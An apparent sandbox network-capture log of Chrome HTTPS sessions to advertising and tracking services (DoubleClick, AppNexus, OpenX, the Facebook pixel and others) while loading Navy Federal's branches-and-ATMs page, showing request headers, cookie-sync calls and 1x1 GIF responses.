230	192.168.2.6	50125	52.19.204.214	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	480	OUT	GET /merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45&dnr=1 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=Itj2AQZHhmzcC7uXTQ2fVYvm; _ljtrtb_2=4F23F6C2C1D4438DAA81302CEEAB3C45
2024-05-24 22:46:17 UTC	970	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:17 GMT Content-Type: image/gif Content-Length: 43 Connection: close Vary: Accept-Encoding Set-Cookie: _ljtrtb_2=4F23F6C2C1D4438DAA81302CEEAB3C45; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0;Secure;SameSite=None Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: ljtrtb=eJyrVjJSslIycTMydjNzNnI2dDExMbZwcXS0MDQ2MHJ2dXV0MnY2MVWqBQC5Cgk7; Path=/; Domain=.lijit.com; Expires=Sat, 24 May 2025 22:46:17 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: _ljtrtb_2=4F23F6C2C1D4438DAA81302CEEAB3C45; Path=/; Domain=.lijit.com; Expires=Sat, 24 May 2025 22:46:17 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=Itj2AQZHhmzcC7uXTQ2fVYvm; Path=/; Domain=.lijit.com; Expires=Sat, 24 May 2025 22:46:17 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-05-24 22:46:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.6	50118	54.220.158.112	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	461	OUT	GET /map/ct=y/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_dc=1; _cc_id=4a2dde82d52488666744df68c3746eec
2024-05-24 22:46:17 UTC	315	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:17 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.45.26.249 Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-05-24 22:46:17 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.6	50126	37.252.171.21	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	546	OUT	GET /setuid?entity=66&code=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid2=6116765264039870456; anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FB.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nylZyN0kLd><f=kW*g0D(GqO2P
2024-05-24 22:46:17 UTC	1514	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:17 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: a84ea320-7dc2-4f56-a797-3fab605cbab1 Set-Cookie: XANDR_PANID=Ccy1H8JBMVc5sPO02XqyK6Ect30poYllpa8XFFtJRd_8j33tr-1WQI89MNMGiYDM3p_H99CggjcxQU8o6BD5tCIrUk7222zdW698n3iKM9U.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:17 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FZ.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd><f=kW*g0D(HGz^Q; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:17 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:17 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:17 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 1004.bm-nginx-loadbalancer.mgmt.fra1.adnexus.net; adnxs.com
2024-05-24 22:46:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.6	50136	107.178.240.89	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	625	OUT	GET /user?du=81&mimetype=img&csync=y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-~A HTTP/1.1 Host: pbid.pro-market.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: anHistory="-z1ht4icc1y44+2+!#7')#]!>Ti"; anProfile="-z1ht4icc1y44+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)+vm=24-4F23F6C2C1D4438DAA81302CEEAB3C45:81-y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-%7EA"
2024-05-24 22:46:17 UTC	606	IN	HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" ANServer: gapp2 Set-Cookie: anHistory="-z1ht4icc1y44+2+!#7')#]!>Ti"; Domain=.pro-market.net; Max-Age=2592000; Path=/; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 1 Jan 1990 0:0:0 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Content-Type: image/gif Content-Length: 43 Date: Fri, 24 May 2024 22:46:17 GMT Via: 1.1 google Alt-Svc: clear Connection: close
2024-05-24 22:46:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.6	50131	66.235.152.156	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:17 UTC	445	OUT	GET /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1 Host: navyfederalcu.tt.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:18 UTC	450	IN	HTTP/1.1 405 Method Not Allowed date: Fri, 24 May 2024 22:46:18 GMT content-type: application/json;charset=UTF-8 vary: accept-encoding referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-05-24 22:46:18 UTC	72	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 34 30 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 52 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 27 47 45 54 27 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3d{"status":405,"message":"Request method 'GET' not supported"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.6	50140	35.244.159.8	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	460	OUT	GET /w/1.0/sd?cc=1&id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
2024-05-24 22:46:18 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Fri, 24 May 2024 22:46:18 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.6	50142	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	1440	OUT	GET /activityi;dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:18 UTC	663	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:18 GMT Expires: Fri, 24 May 2024 22:46:18 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:18 UTC	727	IN	Data Raw: 33 38 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 69 6d 67 20 68 65 69 67 68 74 3d 22 31 22 20 77 69 64 74 68 3d 22 31 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 20 61 6c 74 3d 22 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 74 Data Ascii: 38d<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img height="1" width="1" style="display:none;" alt="" src="https://ct
2024-05-24 22:46:18 UTC	189	IN	Data Raw: 33 34 3b 75 61 6d 62 3d 30 3b 75 61 6d 3d 3b 75 61 70 3d 57 69 6e 64 6f 77 73 3b 75 61 70 76 3d 31 30 2e 30 2e 30 3b 75 61 77 3d 30 3b 70 73 63 64 6c 3d 6e 6f 61 70 69 3b 66 72 6d 3d 30 3b 67 74 6d 3d 34 35 66 65 34 35 6d 30 7a 61 32 30 30 3b 67 63 64 3d 31 33 6c 33 6c 33 6c 33 6c 31 3b 64 6d 61 3d 30 3b 65 70 76 65 72 3d 32 3b 7e 6f 72 65 66 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6e 61 76 79 66 65 64 65 72 61 6c 2e 6f 72 67 25 32 46 62 72 61 6e 63 68 65 73 2d 61 74 6d 73 2e 68 74 6d 6c 22 2f 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 34;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html"/></body></html>
2024-05-24 22:46:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.6	50143	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	1442	OUT	GET /activityi;dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:18 UTC	663	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:18 GMT Expires: Fri, 24 May 2024 22:46:18 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:18 UTC	727	IN	Data Raw: 36 66 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 62 74 74 72 61 63 6b 2e 63 6f 6d 2f 6a 73 2f 31 35 36 35 34 2f 61 6e 61 6c 79 74 69 63 73 2f 31 2e 30 2f 61 6e 61 6c Data Ascii: 6f3<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><script async src="https://cdn.bttrack.com/js/15654/analytics/1.0/anal
2024-05-24 22:46:18 UTC	1059	IN	Data Raw: 74 2e 6a 73 22 2c 22 75 65 74 71 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 67 2e 73 69 6d 70 6c 69 2e 66 69 2f 73 69 66 69 74 61 67 2f 36 30 31 30 30 35 66 31 2d 36 33 38 64 2d 34 35 65 33 2d 39 64 32 39 2d 65 30 34 31 36 38 62 62 38 30 62 33 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 70 5f 6c 6f 61 64 65 72 2e 31 2e 31 2e 30 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: t.js","uetq");</script><script async src='https://tag.simpli.fi/sifitag/601005f1-638d-45e3-9d29-e04168bb80b3'></script><script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script> <script type="text/javascript">
2024-05-24 22:46:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.6	50146	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	945	OUT	GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:18 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 24 May 2024 22:46:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.6	50147	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	1248	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger;navigation-source Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:19 UTC	4572	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"11090659500879985752"}],"aggregatable_trigger_data":[{"filters":[{"14":["9171535"]}],"key_piece":"0x40a35730324b8bef","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0x7bc3e935aba612cb","not_filters":{"14":["9171535"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12":65 [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:18 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.6	50151	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
